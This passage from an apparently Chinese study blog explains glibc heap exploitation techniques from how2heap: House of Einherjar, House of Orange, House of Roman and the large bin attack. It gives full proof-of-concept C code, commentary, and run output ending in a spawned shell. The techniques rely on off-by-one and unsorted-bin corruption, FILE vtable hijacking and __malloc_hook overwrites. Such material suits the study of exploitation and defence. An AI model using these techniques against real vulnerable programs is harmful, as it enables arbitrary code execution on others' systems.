fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);

printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);

uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");

// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;

// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}

其实就是利用了off by one进行一字节的溢出,修改下一个堆块的prev_sizePREV_INUSE 比特位,滥用 free 中的后向合并操作,从而实现chunk任意地址分配。这个和house of force有点相似

首先创建了一个0x38大小的堆块,接着在栈上伪造prev_size, size, fd, bk, fd_nextsize, bk_nextsize。

然后创建了一个0xf8大小的堆块,并使用off-by-one将0xf8大小的堆块的PREV_INUSE位改为0

对b的perv_size进行伪造。fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk)

也就是b040这里的地址 - 栈上伪造的地址。并将栈上伪造的size也给换掉。

释放申请,就可以申请到fake_chunk这里了

这个攻击手法需要注意的地方

  • 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
  • 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
  • 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Welcome to House of Einherjar!
Tested in Ubuntu 16.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.

We allocate 0x38 bytes for 'a'
a: 0x55555555b010
Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: 0x38

We create a fake chunk wherever we want, in this case we'll create the chunk on the stack
However, you can also create the chunk in the heap or the bss, as long as you know its address
We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks
(although we could do the unsafe unlink technique here in some scenarios)
Our fake chunk at 0x7fffffffdcd0 looks like:
prev_size (not used): 0x100
size: 0x100
fwd: 0x7fffffffdcd0
bck: 0x7fffffffdcd0
fwd_nextsize: 0x7fffffffdcd0
bck_nextsize: 0x7fffffffdcd0

We allocate 0xf8 bytes for 'b'.
b: 0x55555555b050

b.size: 0x101
b.size is: (0x100) | prev_inuse = 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
This is easiest if b.size is a multiple of 0x100 so you don't change the size of b, only its prev_inuse bit
If it had been modified, we would need a fake chunk inside b where it will try to consolidate the next chunk

We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0x55555555b040 - 0x7fffffffdcd0 = 0xffffd5555555d370

Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set
Our fake chunk size is now 0xffffd5555557e331 (b.size + fake_prev_size)

Now we can call malloc() and it will begin in our fake chunk
Next malloc(0x200) is at 0x7fffffffdce0

house_of_orange(top chunk + FSOP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>

/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/

/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);

int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.

At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/

char *p1, *p2;
size_t io_list_all, *top;

fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");

fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");

/*
Firstly, lets allocate a chunk on the heap.
*/

p1 = malloc(0x400-16);

/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/

p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/

io_list_all = top[2] + 0x9a8;

/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
So, we should set chunk->bk to be _IO_list_all - 16
*/

top[3] = io_list_all - 0x10;

/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/

memcpy( ( char *) top, "/bin/sh\x00", 8);

/*
The function _IO_flush_all_lockp iterates through the file pointer linked-list
in _IO_list_all.
Since we can only overwrite this address with main_arena's unsorted-bin-list,
the idea is to get control over the memory at the corresponding fd-ptr.
The address of the next file pointer is located at base_address+0x68.
This corresponds to smallbin-4, which holds all the smallbins of
sizes between 90 and 98. For further information about the libc's bin organisation
see: https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
Since we overflow the old top chunk, we also control it's size field.
Here it gets a little bit tricky, currently the old top chunk is in the
unsortedbin list. For each allocation, malloc tries to serve the chunks
in this list first, therefore, iterates over the list.
Furthermore, it will sort all non-fitting chunks into the corresponding bins.
If we set the size to 0x61 (97) (prev_inuse bit has to be set)
and trigger an non fitting smaller allocation, malloc will sort the old chunk into the
smallbin-4. Since this bin is currently empty the old top chunk will be the new head,
therefore, occupying the smallbin[4] location in the main_arena and
eventually representing the fake file pointer's fd-ptr.
In addition to sorting, malloc will also perform certain size checks on them,
so after sorting the old top chunk and following the bogus fd pointer
to _IO_list_all, it will check the corresponding size field, detect
that the size is smaller than MINSIZE "size <= 2 * SIZE_SZ"
and finally triggering the abort call that gets our chain rolling.
Here is the corresponding code in the libc:
https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3717
*/

top[1] = 0x61;

/*
Now comes the part where we satisfy the constraints on the fake file pointer
required by the function _IO_flush_all_lockp and tested here:
https://code.woboq.org/userspace/glibc/libio/genops.c.html#813
We want to satisfy the first condition:
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base
*/

FILE *fp = (FILE *) top;


/*
1. Set mode to 0: fp->_mode <= 0
*/

fp->_mode = 0; // top+0xc0


/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/

fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28


/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/

size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8


/* Finally, trigger the whole chain by calling malloc */
malloc(10);

/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/

return 0;
}

int winner(char *ptr)
{
system(ptr);
syscall(SYS_exit, 0);
return 0;
}

当程序没有释放函数并且可以改top_chunk的时候可以尝试使用此攻击手法,上面的程序只有在2.23下才可以利用成功,因为在2.24中就对vtable加入了检测。

首先创建了一个堆块,然后将top_chunk给改掉,注意这里需要4kb对齐。0x55555555b400 + 0xc00 = 0x55555555c000

创建一个比top_chunk size大的数,此时top_chunk会进入unsortedbin里,然后执行 sbrk 重新分配

拿到_IO_list_all的地址,将top_chunk的bk给改成_IO_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址

接下来都是为FSOP做准备。修改了top_chunk的size为0x61,试想一下此时的top_chunk是unsortedbin,假如改成了0x61是不是不符合unsortedbin申请规则,会将0x61这个chunk放入small bin中或者large bin中,很显然0x61会放入到small bin中(smallbin[0x61])

0x61很特殊,它与 unsortedbin 的偏移,跟 _chain io_list_all 的偏移一样,然后就是过2.23下的检测

  • fp->_mode <= 0
  • fp->_IO_write_ptr > fp->_IO_write_base

将jump_table中的_IO_OVERFLOW 改为 system 函数的地址,最后把vatble改成jump_table

忘记说一个东西了就是bin_sh也就是放在了头,FSOP的时候会将第一个东西作为一参

最后malloc(0x10)的时候unsorted bin 被改掉了当 malloc 的时候会出错 malloc_printerr->__libc_message->abort()->_IO_flush_all_lockp() _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,这个刚好被我们覆盖成system所以可以直接getshell。

运行结果

1
2
3
4
5
6
The attack vector of this technique was removed by changing the behavior of malloc_printerr, which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).
Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51
*** Error in `./exp': malloc(): memory corruption: 0x00007ffff7dd2520 ***
$ ls
exp exp.c
$

house_of_roman(无show函数)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.
Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman
POC written by Maxwell Dulin (Strikeout)
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){


char* introduction = "\nWelcome to the House of Roman\n\n"
"This is a heap exploitation technique that is LEAKLESS.\n"
"There are three stages to the attack: \n\n"
"1. Point a fastbin chunk to __malloc_hook.\n"
"2. Run the unsorted_bin attack on __malloc_hook.\n"
"3. Relative overwrite on main_arena at __malloc_hook.\n\n"
"All of the stuff mentioned above is done using two main concepts:\n"
"relative overwrites and heap feng shui.\n\n"
"However, this technique comes at a cost:\n"
"12-bits of entropy need to be brute forced.\n"
"That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
"**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
puts(introduction);
init();


puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
puts("Setting up chunks for relative overwrites with heap feng shui.\n");

// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
uint8_t* fastbin_victim = malloc(0x60);

// Allocate this in order to have good alignment for relative
// offsets later (only want to overwrite a single byte to prevent
// 4 bits of brute on the heap).
malloc(0x80);

// Offset 0x100
uint8_t* main_arena_use = malloc(0x80);

// Offset 0x190
// This ptr will be used for a relative offset on the 'main_arena_use' chunk
uint8_t* relative_offset_heap = malloc(0x60);

// Free the chunk to put it into the unsorted_bin.
// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
free(main_arena_use);


/*
Get part of the unsorted_bin chunk (the one that we just freed).
We want this chunk because the fd and bk of this chunk will
contain main_arena ptrs (used for relative overwrite later).
The size is particularly set at 0x60 to put this into the 0x70 fastbin later.
This has to be the same size because the __malloc_hook fake
chunk (used later) uses the fastbin size of 0x7f. There is
a security check (within malloc) that the size of the chunk matches the fastbin size.
*/

puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
uint8_t* fake_libc_chunk = malloc(0x60);

//// NOTE: This is NOT part of the exploit... \\\
// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC.
long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


// We need the filler because the overwrite below needs
// to have a ptr in the fd slot in order to work.
//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later.
free(relative_offset_heap);

/*
Create a UAF on the chunk. Recall that the chunk that fastbin_victim
points to is currently at the offset 0x190 (heap_relative_offset).
*/
free(fastbin_victim);




puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.


puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

// The relative overwrite
int8_t byte1 = (__malloc_hook_adjust) & 0xff;
int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8;
fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

// Two filler chunks prior to the __malloc_hook chunk in the fastbin.
// These are fastbin_victim and fake_libc_chunk.
puts("Get the fake chunk pointing close to __malloc_hook\n");
puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
malloc(0x60);
malloc(0x60);

// If the 4 bit brute force did not work, this will crash because
// of the chunk size not matching the bin for the chunk.
// Otherwise, the next step of the attack can begin.
uint8_t* malloc_hook_chunk = malloc(0x60);

puts("Passed step 1 =)\n\n\n");


puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");


// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

uint8_t* unsorted_bin_ptr = malloc(0x80);
malloc(0x30); // Don't want to consolidate

puts("Put chunk into unsorted_bin\n");
// Free the chunk to create the UAF
free(unsorted_bin_ptr);

/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\
However, for the sake of example, this has been calculated dynamically.
*/
__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
byte1 = (__malloc_hook_adjust) & 0xff;
byte2 = (__malloc_hook_adjust & 0xff00) >> 8;


// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
// From the previous brute force (4 bits from before) we
// know where the location of this is at. It is 5 bytes away from __malloc_hook.
puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
unsorted_bin_ptr[8] = byte1; // Byte 0 of bk.

// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.



puts("Trigger the unsorted_bin attack\n");
malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

puts("Passed step 2 =)\n\n\n");

puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

malloc_hook_chunk[20] = (system_addr >> 8) & 0xff; // The last 4 bits of this must be brute forced (done previously already).
malloc_hook_chunk[21] = (system_addr >> 16) & 0xff; // The last byte is the remaining 8 bits that must be brute forced.
malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.

puts("Pop Shell!");
malloc((long long)shell);

}

上面的注释太大了有点占位置了,这里删除了一些想要看注释的直接去how2heap那里看即可。这是一种无泄漏的堆利用技术,在没有show这一类可以输出libc的函数下可以尝试使用些攻击手法。分为三步

  1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook
  2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上
  3. 通过低位地址修改 __malloc_hook 为 one_gadget

首先创建了四个堆块0x60 0x80 0x80 0x60,记为chunk1,chunk2,chunk3,chunk4。然后释放了chunk3,此时chunk3会进入unsortedbin中。

这个时候再申请比0x80小的chunk会将unsortedbin给分割,所以申请了0x60(chunk5)。接着通过chunk5的fd拿到malloc_hook的地址

释放chunk4再释放chunk1,此时的bin中应该是chunk1->chunk4

chunk1 的 fd 指针最后一个字节改为0,些时chunk1的fd就是chunk5的地址,chunk5的fd又是main_arena。

因为chunk5并没有被释放掉,所以我们还可以改chunk5的fd,改为malloc_hook - 0x23,因为需要过2.23下的size检测。再一路申请到malloc_hook - 0x23,malloc_hook - 0x23这里用malloc_hook_chunk来表示。至此第一步结束

第二步开始,unsortedbin attack。

分配一个0x80大小的chunk6,再分配一个大小0x30的chunk7,chunk7是为了防止chunk6与top_chunk合并。

将chunk6释放掉,此时chunk6会进入unsortedbin中,因为要使用unsortedbin attack。再将chunk6的bk给改成malloc_hook - 0x10

申请一个0x80大小的chunk8触发unsortedbin attack,可以看到malloc_hook的值因为unsortedbin attack被改成了main_arena+88,至此第二步完成

第三步开始,第一步中在malloc_hook - 0x23这里是malloc_hook_chunk。通过修改malloc_hook_chunk这个堆块里的值(也就是__malloc_hook)改成system或者one_gadget就可以getshell了。

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
Welcome to the House of Roman

This is a heap exploitation technique that is LEAKLESS.
There are three stages to the attack:

1. Point a fastbin chunk to __malloc_hook.
2. Run the unsorted_bin attack on __malloc_hook.
3. Relative overwrite on main_arena at __malloc_hook.

All of the stuff mentioned above is done using two main concepts:
relative overwrites and heap feng shui.

However, this technique comes at a cost:
12-bits of entropy need to be brute forced.
That means this technique only work 1 out of every 4096 tries or 0.02%.
**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient



Step 1: Point fastbin chunk to __malloc_hook


Setting up chunks for relative overwrites with heap feng shui.

Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.

Overwrite the first byte of a heap chunk in order to point the fastbin chunk
to the chunk with the LibC address

Fastbin 0x70 now looks like this:
heap_addr -> heap_addr2 -> LibC_main_arena

Use a relative overwrite on the main_arena pointer in the fastbin.
Point this close to __malloc_hook in order to create a fake fastbin chunk

Get the fake chunk pointing close to __malloc_hook

In a real exploit, this would fail 15/16 times
because of the final half byet of the malloc_hook being random

Passed step 1 =)



Start Step 2: Unsorted_bin attack

The unsorted bin attack gives us the ability to write a
large value to ANY location. But, we do not control the value
This value is always main_arena + 0x68.
We point the unsorted_bin attack to __malloc_hook for a
relative overwrite later.

Put chunk into unsorted_bin

Overwrite last two bytes of the chunk to point to __malloc_hook

Trigger the unsorted_bin attack

Passed step 2 =)



Step 3: Set __malloc_hook to system/one_gadget


Now that we have a pointer to LibC inside of __malloc_hook (from step 2),
we can use a relative overwrite to point this to system or a one_gadget.
Note: In a real attack, this would be where the last 8 bits of brute forcing
comes from.

Pop Shell!
$ ls
exp exp.c
$

large_bin_attack(跟 unsorted bin attack 实现的功能差不多)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x420);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x500);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x500);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n", (void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
